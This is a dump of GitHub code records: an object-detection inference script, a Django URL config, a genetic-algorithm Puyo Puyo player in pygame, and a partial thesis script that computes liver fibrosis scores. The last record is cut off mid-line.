else:\n            img = results[\"img\"]\n            #img = mmcv.imread(results['img'])\n            #results['img'] = img.astype(np.float32)\n#             results['img'] = results['img'].transpose(2, 0, 1)\n            results['img_shape'] = img.shape\n            results['ori_shape'] = img.shape\n            results['img_fields'] = ['img']\n            results['pad_shape'] = img.shape\n            results['scale_factor'] = np.array([1,1,1,1],\n                                 dtype=np.float32)\n            #results['keep_ratio'] = True\n            results['resize'] = False\n\n\n        return results\n\n\n\nclass LoadImage(object):\n    \"\"\"A simple pipeline to load image.\"\"\"\n\n    def __call__(self, results):\n        \"\"\"Call function to load images into results.\n        Args:\n            results (dict): A result dict contains the file name\n                of the image to be read.\n        Returns:\n            dict: ``results`` will be returned containing loaded image.\n        \"\"\"\n#         import pdb; pdb.set_trace()\n\n        if isinstance(results['img'], str):\n            results['filename'] = results['img']\n            results['ori_filename'] = results['img']\n\n        else:\n            results['filename'] = None\n            results['ori_filename'] = None\n       \n        if torch.is_tensor(results[\"img\"] ) == True :\n            sh = results['img'].shape\n            results['img'] = results['img'].permute(0, 3, 1, 2)\n            results['img_shape'] = sh[1:]\n            results['ori_shape'] = sh[1:]\n            results['img_fields'] = ['img']\n            results['pad_shape'] = sh[1:]\n            results['scale_factor'] = np.array([1,1,1,1],\n                                    dtype=np.float32)\n            results['keep_ratio'] = True\n            results['resize'] = False\n\n        else:\n            img = results[\"img\"]\n            #img = mmcv.imread(results['img'])\n            #results['img'] = img.astype(np.float32)\n#             results['img'] = results['img'].transpose(2, 0, 1)\n            results['img_shape'] = img.shape\n            results['ori_shape'] = img.shape\n            results['img_fields'] = ['img']\n            results['pad_shape'] = img.shape\n            results['scale_factor'] = np.array([1,1,1,1],\n                                 dtype=np.float32)\n            #results['keep_ratio'] = True\n            results['resize'] = False\n            \n\n        return results\n\ndef get_keypoints(keypoint_pred, det_bboxes):\n        heatmap_w = keypoint_pred.shape[3]\n        heatmap_h = keypoint_pred.shape[2]\n\n        num_preds, num_keypoints = keypoint_pred.shape[:2]\n\n        scale_factor = 1.0\n\n        bboxes = det_bboxes / scale_factor\n\n        offset_x = bboxes[:, 0]\n        offset_y = bboxes[:, 1]\n\n        widths =  (bboxes[:, 2] - bboxes[:, 0]).clamp(min=1)\n        heights = (bboxes[:, 3] - bboxes[:, 1]).clamp(min=1)\n\n        width_corrections  = widths / heatmap_w\n        height_corrections = heights / heatmap_h\n\n        keypoints_idx = torch.arange(num_keypoints, device=keypoint_pred.device)\n        xy_preds = torch.zeros((num_preds, num_keypoints, 4)).to(keypoint_pred.device)\n\n        for i in range(num_preds):\n            max_score, _ = keypoint_pred[i].view(num_keypoints, -1).max(1)\n            max_score = max_score.view(num_keypoints, 1, 1)\n\n            tmp_full_res = (keypoint_pred[i] - max_score).exp_()\n            tmp_pool_res = (keypoint_pred[i] - max_score).exp_()\n            roi_map_scores = tmp_full_res / tmp_pool_res.sum((1, 2), keepdim=True)\n\n            pos = keypoint_pred[i].view(num_keypoints, -1).argmax(1)\n            x_int = pos % heatmap_w\n            y_int = (pos - x_int) // heatmap_w\n\n            x = (x_int.float() + 0.5)*width_corrections[i]\n            y = (y_int.float() + 0.5)*height_corrections[i]\n\n            xy_preds[i, :, 0] = x + offset_x[i]\n            xy_preds[i, :, 1] = y + offset_y[i]\n            xy_preds[i, :, 2] = keypoint_pred[i][keypoints_idx, y_int, x_int]\n            xy_preds[i, :, 3] = roi_map_scores[keypoints_idx, y_int, x_int]\n\n        return xy_preds\n\n\ndef inference_detector(model, img, cfg, device):\n\n    device = torch.device(device)\n    cfg = mmcv.Config.fromfile(cfg)\n\n    test_pipeline = [LoadImage()] + cfg.data.test.pipeline\n    test_pipeline = Compose(test_pipeline)\n    # prepare data\n    data = dict(img=img)\n    data = test_pipeline(data)\n    tensor = data[\"img\"][0]\n    tensor = tensor.unsqueeze(0).to(device)\n    print(\"preprocessingdone\")\n    with torch.no_grad():\n        result = model(tensor)\n    processed_keypoints = get_keypoints(result[4], result[1][0])\n    result = list(result)\n    result[4] = processed_keypoints\n    return result\n\n\n\ndef batch_inference_detector(model, imgs, cfg, device):\n    \"\"\"Inference image(s) with the detector.\n    Args:\n        model (nn.Module): The loaded detector.\n        imgs (list[ndarray]): loaded images.\n    Returns:\n        detection results directly.\n    \"\"\"\n    num_imgs = len(imgs)\n    \n    # build the data pipeline\n    tt = time.time()\n    test_pipeline = [LoadImage()] + cfg.data.test.pipeline\n    test_pipeline = Compose(test_pipeline)\n    # prepare data\n    print(time.time()-tt)\n    data = []\n    for img in imgs:\n        d = dict(img=img)\n        data.append(test_pipeline(d)[\"img\"][0][0])\n    data = torch.stack(data)\n    tt = time.time()  \n    with torch.no_grad():\n        result = model(data)\n        print(time.time() - tt)\n    return result\n\n\ndef inference_detector_old(model, img, cfg, device):\n    if isinstance(cfg, str):\n        cfg = mmcv.Config.fromfile(cfg)\n\n    device = torch.device(device)\n\n    tm = time.time()\n    if isinstance(img, np.ndarray):\n        # directly add img\n        data = dict(img=img)\n        cfg = cfg.copy()\n        # set loading pipeline type\n        cfg.data.test.pipeline[0].type = 'LoadImageFromWebcam'\n    else:\n        # add information into dict\n        data = dict(img_info=dict(filename=img), img_prefix=None)\n\n    test_pipeline = cfg.data.test.pipeline\n    test_pipeline = Compose(test_pipeline)\n    #print(test_pipeline)\n    # prepare data\n\n    data = test_pipeline(data)\n    print(\"Preprocessing time1:\", time.time() -tm)\n\n    tm = time.time()\n    tensor = data['img'][0]\n    if isinstance(tensor, mmcv.parallel.DataContainer):\n        tensor = tensor.data\n    tensor = tensor.unsqueeze(0).to(device)\n    img_metas = data['img_metas']\n    scale_factor = img_metas[0].data['scale_factor']\n    scale_factor = torch.tensor(scale_factor,\n                                dtype=torch.float32,\n                                device=device)\n    print(\"Preprocessing time2:\", time.time() -tm)\n    #print(scale_factor)\n    with torch.no_grad():\n        torch.cuda.synchronize()\n        tm = time.time()\n        result = model(tensor)\n        torch.cuda.synchronize()\n        print(\"Forward pass time:\", time.time() -tm)\n        result = list(result)\n        result[1] = result[1] / scale_factor\n\n    return result\n", "repo_name": "namburusiddhartha/Object-Detection-with-tensorRT", "sub_path": "inference.py", "file_name": "inference.py", "file_ext": "py", "file_size_in_byte": 8907, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pycuda.driver.Device", "line_number": 15, "usage_type": "call"}, {"api_name": "pycuda.driver", "line_number": 15, "usage_type": "name"}, {"api_name": "torch2trt_dynamic.TRTModule", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.is_tensor", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 57, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 71, "usage_type": "attribute"}, {"api_name": "torch.is_tensor", "line_number": 101, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 108, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 109, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 122, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 123, "usage_type": "attribute"}, {"api_name": "torch.arange", "line_number": 149, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 150, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 177, "usage_type": "call"}, {"api_name": "mmcv.Config.fromfile", "line_number": 178, "usage_type": "call"}, {"api_name": "mmcv.Config", "line_number": 178, "usage_type": "attribute"}, {"api_name": "mmdet.datasets.pipelines.Compose", "line_number": 181, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 188, "usage_type": "call"}, {"api_name": "time.time", "line_number": 208, "usage_type": "call"}, {"api_name": "mmdet.datasets.pipelines.Compose", "line_number": 210, "usage_type": "call"}, {"api_name": "time.time", "line_number": 212, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 217, "usage_type": "call"}, {"api_name": "time.time", "line_number": 218, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 219, "usage_type": "call"}, {"api_name": "time.time", "line_number": 221, "usage_type": "call"}, {"api_name": "mmcv.Config.fromfile", "line_number": 227, "usage_type": "call"}, {"api_name": "mmcv.Config", "line_number": 227, "usage_type": "attribute"}, {"api_name": "torch.device", "line_number": 229, "usage_type": "call"}, {"api_name": "time.time", "line_number": 231, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 232, "usage_type": "attribute"}, {"api_name": "mmdet.datasets.pipelines.Compose", "line_number": 243, "usage_type": "call"}, {"api_name": "time.time", "line_number": 248, "usage_type": "call"}, {"api_name": "time.time", "line_number": 250, "usage_type": "call"}, {"api_name": "mmcv.parallel", "line_number": 252, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 257, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 258, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 260, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 262, "usage_type": "call"}, {"api_name": "torch.cuda.synchronize", "line_number": 263, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 263, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 264, "usage_type": "call"}, {"api_name": "torch.cuda.synchronize", "line_number": 266, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 266, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 267, "usage_type": "call"}]}
{"seq_id": "13105982999", "text": "from django.urls import path\nfrom . import views\nfrom . import tkinter4\n\napp_name = 'login'\n\nurlpatterns = [\n    path('', views.index, name='index'),\n    path('auth/', views.auth, name='auth'),\n    path('//', views.box_detail, name='box_detail'),\n    path('//', views.traffic_detail, name='traffic_detail'),\n    path('image_slide/', views.traffic, name='image_slide'),\n    path('gin/', views.traffic2, name='gin'),\n\n    # path('kakao/', views.kakao, name='kakao'),\n]\n", "repo_name": "solsolr/nextLevel", "sub_path": "projects_pycharm_bak/mysite_bak/login/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 533, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}]}
{"seq_id": "38988498748", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#遺伝的アルゴリズム\n\nimport pygame, random\nimport sys #sysモジュール: コマンドライン引数受け取りのため\nimport math\nimport copy\n\nimport ga_puyo_ as puyo\n\nargs = sys.argv # コマンドライン引数受け取り\nai = True if len(args) >= 2 else False # コマンドライン引数（=seed値）でAIモード\n\nIND = 6 # 個体数()\nGENE = 300 # 遺伝子数()\n\nclass Game(object):\n    SCREEN_SIZE = (640, 480)\n\n    def __init__(self): #コンストラクタ(インスタンス生成時自動で呼び出される)\n        pygame.init() #pygameモジュール初期化\n        self.screen = pygame.display.set_mode(self.SCREEN_SIZE)\n\n        self.gem = {\"R\":pygame.image.load(\"resource/r.png\").convert_alpha(),\n                    \"G\":pygame.image.load(\"resource/g.png\").convert_alpha(),\n                    \"B\":pygame.image.load(\"resource/b.png\").convert_alpha(),\n                    \"Y\":pygame.image.load(\"resource/y.png\").convert_alpha()}\n\n        #self.player1 = puyo.Puyopuyo(puyo.F)\n        self.player1 = puyo.Puyopuyo(\"\")\n        self.player1.controller = {\"left\":pygame.K_LEFT,\n                         \"down\":pygame.K_DOWN,\n                         \"right\":pygame.K_RIGHT,\n                         \"roll\":pygame.K_a,\n                         \"esc\":pygame.K_ESCAPE,\n                         \"back\":pygame.K_BACKSPACE}\n\n        self.control_time = 1 if ai else 400\n        self.update_time = 2 if ai else 1200\n        self.generation = 0 # 世代\n        self.ind = [[0 for i in range(GENE)] for j in range(IND)] # 遺伝子情報\n        self.ind_num = 0 # 個体番号\n        self.gene_num = 0 # 遺伝子番号\n        self.i_score = [0] * IND # 得点\n        self.i_chain = [0] * IND # 最大連鎖数\n        for i in range(IND):\n            for j in range(GENE):\n                self.ind[i][j] = random.randrange(24)\n\n        self.player1.OFFSET = (100, 100)\n        self.screen.fill((100, 100, 100),\n                         (self.player1.OFFSET[0], self.player1.OFFSET[1], self.player1.WIDTH*24, self.player1.HEIGHT*24))\n        self.draw(self.player1)\n        pygame.display.update()\n\n        self.clock = pygame.time.Clock()\n\n\n    def draw(self, p):\n        x_offset, y_offset = p.OFFSET\n        for y, row in enumerate(p.puyos):\n            for x, color in enumerate(row):\n                if color != \" \":\n                    self.screen.blit(self.gem[color], (x_offset + x*24, y_offset + y*24))\n        if p.falling:\n            for i in range(2):\n                y, x = p.falling[i][\"pos\"]\n                if y >= 0 and x >= 0:\n                    self.screen.blit(self.gem[p.falling[i][\"color\"]], (x_offset + x*24, y_offset + y*24))\n\n\n    def command(self): #1-24の数字を対応した操作で返す(左,右,回転)\n        cmd = self.ind[self.ind_num][self.gene_num]\n        if cmd % 6 < 3: # 左\n            left = cmd % 6 + 1\n            right = 0\n        else: # 右\n            left = 0\n            right = cmd % 6 - 1\n        roll = int(cmd / 6)\n        self.gene_num += 1\n        if self.gene_num == GENE:\n            self.gene_num = 0\n\n        return left,right,roll\n\n    def play(self):\n        counter = 0\n        while True:\n            counter += 1\n\n            # exit game\n            for event in pygame.event.get():\n                if event.type == pygame.QUIT:\n                    sys.exit()\n\n            # control puyo\n            if self.player1.falling and not (counter % self.control_time):\n                keys = pygame.key.get_pressed()\n                col1, row1 = self.player1.falling[0][\"pos\"]\n                col2, row2 = self.player1.falling[1][\"pos\"]\n                a1 = col1 - col2\n                a2 = row1 - row2\n\n                if keys[self.player1.controller[\"esc\"]]:\n                    pygame.quit()\n\n                if ai and self.player1.cmd_flag:\n                    self.player1.cmd_flag = False\n                    left,right,roll = self.command()\n                else:\n                    left = 0\n                    right = 0\n                    roll = 0\n                    if keys[self.player1.controller[\"left\"]]:\n                        left = 1\n                    if keys[self.player1.controller[\"right\"]]:\n                        right = 1\n                    if keys[self.player1.controller[\"roll\"]]:\n                        roll = 1\n                while roll > 0:\n                    col1, row1 = self.player1.falling[0][\"pos\"]\n                    col2, row2 = self.player1.falling[1][\"pos\"]\n                    a1 = col1 - col2\n                    a2 = row1 - row2\n                    if (row1+a1 in (-1, self.player1.WIDTH)) or col1-a2 == self.player1.HEIGHT or self.player1.puyos[col1-a2][row1+a1] != \" \":\n                        pass\n                    else:\n                        self.player1.falling[1][\"pos\"] = (col1-a2, row1+a1)\n                    roll -= 1\n                while left > 0:\n                    col1, row1 = self.player1.falling[0][\"pos\"]\n                    col2, row2 = self.player1.falling[1][\"pos\"]\n                    a1 = col1 - col2\n                    a2 = row1 - row2\n                    if (row1 > 0 and self.player1.puyos[col1][row1-1] == \" \") and (row2 > 0 and self.player1.puyos[col2][row2-1] == \" \"):\n                        self.player1.falling[0][\"pos\"] = (col1, row1-1)\n                        self.player1.falling[1][\"pos\"] = (col2, row2-1)\n                    left -= 1\n                while right > 0:\n                    col1, row1 = self.player1.falling[0][\"pos\"]\n                    col2, row2 = self.player1.falling[1][\"pos\"]\n                    a1 = col1 - col2\n                    a2 = row1 - row2\n                    if (row1 < self.player1.WIDTH-1 and self.player1.puyos[col1][row1+1] == \" \") and (row2 < self.player1.WIDTH-1 and self.player1.puyos[col2][row2+1] == \" \"):\n                        self.player1.falling[0][\"pos\"] = (col1, row1+1)\n                        self.player1.falling[1][\"pos\"] = (col2, row2+1)\n                    right -= 1\n                if keys[self.player1.controller[\"down\"]] or ai:\n                    while (col1 < self.player1.HEIGHT-1 and self.player1.puyos[col1+1][row1] == \" \") and (col2 < self.player1.HEIGHT-1 and self.player1.puyos[col2+1][row2] == \" \"):\n                        self.player1.falling[0][\"pos\"] = (col1+1, row1)\n                        self.player1.falling[1][\"pos\"] = (col2+1, row2)\n                        col1, row1 = self.player1.falling[0][\"pos\"]\n                        col2, row2 = self.player1.falling[1][\"pos\"]\n\n            # update puyos' position\n            update = True\n\n            if not (counter % self.update_time):\n                update = self.player1.update()\n\n            if self.i_chain[self.ind_num] < self.player1.max_rensa:\n                self.i_chain[self.ind_num] = self.player1.max_rensa\n                self.i_score[self.ind_num] += self.player1.score\n            if ai and ((not update) or self.gene_num == GENE-1):\n                update = True\n                self.i_score[self.ind_num] = self.gene_num\n                print(self.generation, self.i_score[self.ind_num], self.i_chain[self.ind_num])\n                if self.ind_num == IND-1:\n                    random.seed(None)\n                    # その世代の各情報を調べる\n                    max_score = 0 # 最大連鎖の中での最大得点\n                    max_chain = max(self.i_chain) # 最大連鎖\n                    e = 0\n                    for i in range(IND):\n                        if self.i_chain[i] == max_chain and self.i_score[i] > max_score:\n                            e = i\n                            max_score = self.i_score[i]\n                    elite = copy.deepcopy(self.ind[e])\n                    print('best is', e)\n                    # 次の世代に遺伝子を渡す\n                    for i in range(IND):\n                        if i < IND - 1: # (IND-1)個は二点交叉\n                            r1 = random.randrange(0, GENE-1)\n                            r2 = random.randrange(r1,GENE)\n                            for j in range(GENE):\n                                r = random.randrange(2)\n                                if r == 0:\n                                    if r1 < j and j < r2:\n                                        self.ind[i][j] = self.ind[i+1][j]\n                                    else:\n                                        self.ind[i][j] = elite[j]\n                                else:\n                                    if r1 < j and j < r2:\n                                        self.ind[i][j] = elite[j]\n                                    else:\n                                        self.ind[i][j] = self.ind[i+1][j]\n                            r = random.randrange(2)\n                            if r == 0: # 稀に変異を起こす\n                                r = random.randrange(9) + 1\n                                for j in range(r):\n                                    self.ind[i][random.randrange(max_score)] = random.randrange(24)\n                        else: # 最良個体を１つだけ引き継ぐ\n                            self.ind[i] = copy.deepcopy(elite)\n                        self.i_score[i] = 0\n                        self.i_chain[i] = 0\n\n                    self.generation += 1\n                    self.ind_num = 0\n                    if self.generation % 10 == 0: # データを保存\n                        if self.generation == 10:\n                            file = open('result2.txt', 'w')\n                        else:\n                            file = open('result2.txt', 'a')\n                        savedata = 'generation:' + str(self.generation) + '\\n_chain:' + str(max_chain) + '\\n_score:' + str(max_score) + '\\n'\n                        file.write(savedata)\n                        file.close()\n                else:\n                    self.ind_num += 1\n                self.gene_num = 0\n\n                if ai:\n                    random.seed(int(args[1]))\n                self.player1 = puyo.Puyopuyo(\"\") # 初期化\n                self.player1.controller = {\"left\":pygame.K_LEFT,\n                                 \"down\":pygame.K_DOWN,\n                                 \"right\":pygame.K_RIGHT,\n                                 \"roll\":pygame.K_a,\n                                 \"esc\":pygame.K_ESCAPE,\n                                 \"back\":pygame.K_BACKSPACE}\n                self.player1.OFFSET = (100, 100)\n\n            # update screen\n            self.screen.fill((100, 100, 100),\n                             (self.player1.OFFSET[0],\n                              self.player1.OFFSET[1],\n                              self.player1.WIDTH*24,\n                              self.player1.HEIGHT*24)\n                             )\n\n            keys_d = pygame.key.get_pressed()\n            if not ai:\n                fps = 10\n                self.draw(self.player1)\n                pygame.display.update()\n            if ai and keys_d[self.player1.controller[\"back\"]]:\n                fps = 8\n                self.draw(self.player1)\n                pygame.display.update()\n            else:\n                fps = 10000\n            self.clock.tick(fps)\n\n            if counter == 2400:\n                counter = 0\n\nif __name__ == \"__main__\":\n    Game().play()\n", "repo_name": "Takutoo/Puyopuyo", "sub_path": "GA_puyo/ga_puyo.py", "file_name": "ga_puyo.py", "file_ext": "py", "file_size_in_byte": 11358, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sys.argv", "line_number": 12, "usage_type": "attribute"}, {"api_name": "pygame.init", "line_number": 22, "usage_type": "call"}, {"api_name": "pygame.display.set_mode", "line_number": 23, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 23, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 25, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 25, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 26, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 26, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 27, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 27, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 28, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 28, "usage_type": "attribute"}, {"api_name": "ga_puyo_.Puyopuyo", "line_number": 31, "usage_type": "call"}, {"api_name": "pygame.K_LEFT", "line_number": 32, "usage_type": "attribute"}, {"api_name": "pygame.K_DOWN", "line_number": 33, "usage_type": "attribute"}, {"api_name": "pygame.K_RIGHT", "line_number": 34, "usage_type": "attribute"}, {"api_name": "pygame.K_a", "line_number": 35, "usage_type": "attribute"}, {"api_name": "pygame.K_ESCAPE", "line_number": 36, "usage_type": "attribute"}, {"api_name": "pygame.K_BACKSPACE", "line_number": 37, "usage_type": "attribute"}, {"api_name": "random.randrange", "line_number": 49, "usage_type": "call"}, {"api_name": "pygame.display.update", "line_number": 55, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 55, "usage_type": "attribute"}, {"api_name": "pygame.time.Clock", "line_number": 57, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 57, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 94, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 94, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 95, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 96, "usage_type": "call"}, {"api_name": "pygame.key.get_pressed", "line_number": 100, "usage_type": "call"}, {"api_name": "pygame.key", "line_number": 100, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 107, "usage_type": "call"}, {"api_name": "random.seed", "line_number": 171, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 180, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 185, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 186, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 188, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 199, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 201, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 203, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 205, "usage_type": "call"}, {"api_name": "random.seed", "line_number": 224, "usage_type": "call"}, {"api_name": "ga_puyo_.Puyopuyo", "line_number": 225, "usage_type": "call"}, {"api_name": "pygame.K_LEFT", "line_number": 226, "usage_type": "attribute"}, {"api_name": "pygame.K_DOWN", "line_number": 227, "usage_type": "attribute"}, {"api_name": "pygame.K_RIGHT", "line_number": 228, "usage_type": "attribute"}, {"api_name": "pygame.K_a", "line_number": 229, "usage_type": "attribute"}, {"api_name": "pygame.K_ESCAPE", "line_number": 230, "usage_type": "attribute"}, {"api_name": "pygame.K_BACKSPACE", "line_number": 231, "usage_type": "attribute"}, {"api_name": "pygame.key.get_pressed", "line_number": 242, "usage_type": "call"}, {"api_name": "pygame.key", "line_number": 242, "usage_type": "attribute"}, {"api_name": "pygame.display.update", "line_number": 246, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 246, "usage_type": "attribute"}, {"api_name": "pygame.display.update", "line_number": 250, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 250, "usage_type": "attribute"}]}
{"seq_id": "12366295137", "text": "import os \nimport numpy as np\nimport pandas as pd\nimport pyodbc as db\nimport matplotlib.pyplot as plt\nfrom sklearn.externals import joblib\nfrom sklearn.metrics import auc\nfrom sklearn.metrics import roc_auc_score\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.metrics import roc_curve\nfrom sklearn.metrics import precision_recall_curve\nimport sklearn\n\nos.chdir(r'C:\\Users\\Darth\\Desktop\\Thesis\\Code\\Evaluating Trained Algorithms\\final_2000-2014no(hb,wbc)')\n\ndef information(ds):\n    features = ['Age', 'Albumin', 'ALP', 'ALT', 'AST', 'Bilirubin', 'Creatinine', 'INR', 'Platelets', 'BMI']\n    for feat in features:\n        print('Feature: ' + feat)\n        print('Mean:    ' + str(np.mean(ds[feat].dropna())))\n        print('2.5th:   ' + str(np.percentile(ds[feat].dropna(), 2.5)))\n        print('97.5th:   ' + str(np.percentile(ds[feat].dropna(), 97.5)))\n        print('')\n        \ndef area_by_shoelace(x,y):\n    return abs(sum(i*j for i, j in zip(x,y[1:])) + x[-1]*y[0] - sum(i*j for i,j in zip(x[1:],y)) - x[0]*y[-1])/2\n\ndef show(text):\n\tprint(text)\n\tpause()\n\ndef pause():\n\tinput('Press enter to continue!')\n\ndef APRI_class(Xp_test, Yp_test):\n\tindet_count = 0\n\tYp_pred_new = []\n\tYp_prob_new = []\n\tYp_test_new = []\n\tdet_indices = []\n\tapri_values = []\n\n\tfor i in range(0, len(Xp_test)):\n\t\tAST_upper = 35 #31 if Xp_test[i,0] == 0 else 19\n\t\tAST = Xp_test[i,1]\n\t\tPlt = Xp_test[i,2]\n\t\tAPRI = (100*AST/AST_upper)/(Plt)\n        \n#\t\tprint('AST: ' + str(AST))\n#\t\tprint('AST_Upper: ' + str(AST_upper))\n#\t\tprint('PLT: ' + str(Plt))\n#\t\tprint('APRI: ' + str(APRI)) \n#\t\tinput('Press enter to continue')\n        \n\t\tif (APRI >= 2):\n\t\t\tapri_values.append(APRI)\n\t\t\tYp_pred_new.append(4)\n\t\t\tYp_test_new.append(Yp_test[i])\n\t\t\tYp_prob_new.append(1)\n\t\t\tdet_indices.append([i])\n\t\telif (APRI <=1):\n\t\t\tapri_values.append(APRI)\n\t\t\tYp_pred_new.append(0)\n\t\t\tYp_test_new.append(Yp_test[i])\n\t\t\tYp_prob_new.append(0)\n\t\t\tdet_indices.append([i])\n\t\telse:\n\t\t\tindet_count += 1\n\t\t\tYp_prob_new.append(0.5)\n\treturn Yp_pred_new, Yp_prob_new, Yp_test_new, indet_count, apri_values\n\ndef FIB4_class(Xp_test, Yp_test):\n\tindet_count = 0\n\tYp_pred_new = []\n\tYp_prob_new = []\n\tYp_test_new = []\n\tdet_indices = []\n\tfib4_values = []\n\n\tfor i in range(0, len(Xp_test)):\n\t\tage = Xp_test[i,0]\n\t\tALT = Xp_test[i,1]\n\t\tAST = Xp_test[i,2]\n\t\tPlt = Xp_test[i,3]\n\n\t\tFIB4 = age*AST/(Plt*(ALT)**0.5)\n\t\tif (FIB4 >= 3.25):\n\t\t\tfib4_values.append(FIB4)\n\t\t\tYp_pred_new.append(4)\n\t\t\tYp_prob_new.append(1)\n\t\t\tYp_test_new.append(Yp_test[i])\n\t\t\tdet_indices.append([i])\n\t\telif (FIB4 <=1.45):\n\t\t\tfib4_values.append(FIB4)\n\t\t\tYp_pred_new.append(0)\n\t\t\tYp_prob_new.append(0)\n\t\t\tYp_test_new.append(Yp_test[i])\n\t\t\tdet_indices.append([i])\n\t\telse:\n\t\t\tindet_count += 1\n\t\t\tYp_prob_new.append(0.5)\n\treturn Yp_pred_new, Yp_prob_new, Yp_test_new, indet_count, fib4_values\n\ndef NAFLD_class(Xp_test, Yp_test):\n\tindet_count = 0\n\tYp_pred_new = []\n\tYp_prob_new = []\n\tYp_test_new = []\n\tdet_indices = []\n\tnafld_values = []\n\n\tfor i in range(0, len(Xp_test)):\n\t\tage = Xp_test[i,0]\n\t\talbumin = Xp_test[i,1]\n\t\tALT = Xp_test[i,2]\n\t\tAST = Xp_test[i,3]\n\t\tPlt = Xp_test[i,4]\n\t\tBMI = Xp_test[i,5]\n\t\tDiab = Xp_test[i,6]\n        \n#\t\tprint('Age: ' + str(age))\n#\t\tprint('Alb: ' + str(albumin))\n#\t\tprint('ALT: ' + str(ALT))\n#\t\tprint('AST: ' + str(AST))\n#\t\tprint('Plt: ' + str(Plt))\n#\t\tprint('BMI: ' + str(BMI))\n#\t\tprint('Diab: ' + str(Diab))\n\n\t\tNAFLD = -1.675 + 0.037*age + 0.094*BMI + 1.13*Diab + 0.99*(AST/ALT) - 0.013*Plt - 0.66*albumin/10\n#\t\tinput('NAFLD index was : ' + str(NAFLD))\n\t\tif (NAFLD >= 0.676):\n\t\t\tnafld_values.append(NAFLD)\n\t\t\tYp_pred_new.append(4)\n\t\t\tYp_prob_new.append(1)\n\t\t\tYp_test_new.append(Yp_test[i])\n\t\t\tdet_indices.append([i])\n\t\telif (NAFLD <=-1.455):\n\t\t\tnafld_values.append(NAFLD)\n\t\t\tYp_pred_new.append(0)\n\t\t\tYp_prob_new.append(0)\n\t\t\tYp_test_new.append(Yp_test[i])\n\t\t\tdet_indices.append([i])\n\t\telse:\n\t\t\tindet_count += 1\n\t\t\tYp_prob_new.append(0.5)\n\treturn Yp_pred_new, Yp_prob_new, Yp_test_new, indet_count, nafld_values\n\ndef ENS_class(s,r,g,l,k,m, ap, fb, Xp_test, Yp_test, params, excluded_algs):\n\tindet_count = 0\n\tYp_pred_new = []\n\tYp_prob_new = []\n\tYp_test_new = []\n\tdet_indices = []\n\tprobabilities = []\n\t#algs = [s,r,g,l,k,m,]\n\talgs = []\n\n\tif ('SVM' not in excluded_algs):\n\t\talgs.append(s)\n\tif ('RFC' not in excluded_algs):\n\t\talgs.append(r)\n\tif ('GBC' not in excluded_algs):\n\t\talgs.append(g)\n\tif ('LOG' not in excluded_algs):\n\t\talgs.append(l)\n\tif ('KNN' not in excluded_algs):\n\t\talgs.append(k)\n\tif ('MLP' not in excluded_algs):\n\t\talgs.append(m)\n    \n\tindet_f4 = 0\n\tindet_f0 = 0\n\n\tfor i in range(0, 